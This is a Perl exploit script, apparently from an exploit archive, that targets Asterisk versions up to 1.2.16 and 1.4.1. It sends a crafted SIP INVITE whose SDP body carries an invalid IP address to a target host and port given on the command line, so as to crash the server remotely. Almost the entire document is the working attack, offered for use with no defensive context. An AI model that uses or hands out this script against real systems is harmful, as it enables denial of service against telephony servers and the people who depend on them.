Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

#!/usr/bin/perl # perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY use IO::Socket::INET; die \"Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>\" unless ($ARGV[5]);   $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],         Proto=>\'udp\',         PeerAddr=>$ARGV[0]); $msg=\"INVITE sip:$ARGV[2]@$ARGV[0]:$ARGV[1] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport To: <sip:$ARGV[2]@$ARGV[0]:$ARGV[1]> From:  <sip:$ARGV[3]:$ARGV[4]>;tag=01 Call-ID: 01@$ARGV[3] Content-Type: application/sdp CSeq: 01 INVITE Content-Length: 187 v=0 o=root 25903 25903 IN IP4 $ARGV[3] s=session c=IN IP4 $ARGV[3] c=IN IP4 910.188.8.2 t=0 0 m=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101 a=rtpmap:98 speex/16000 \"; $socket->send($msg);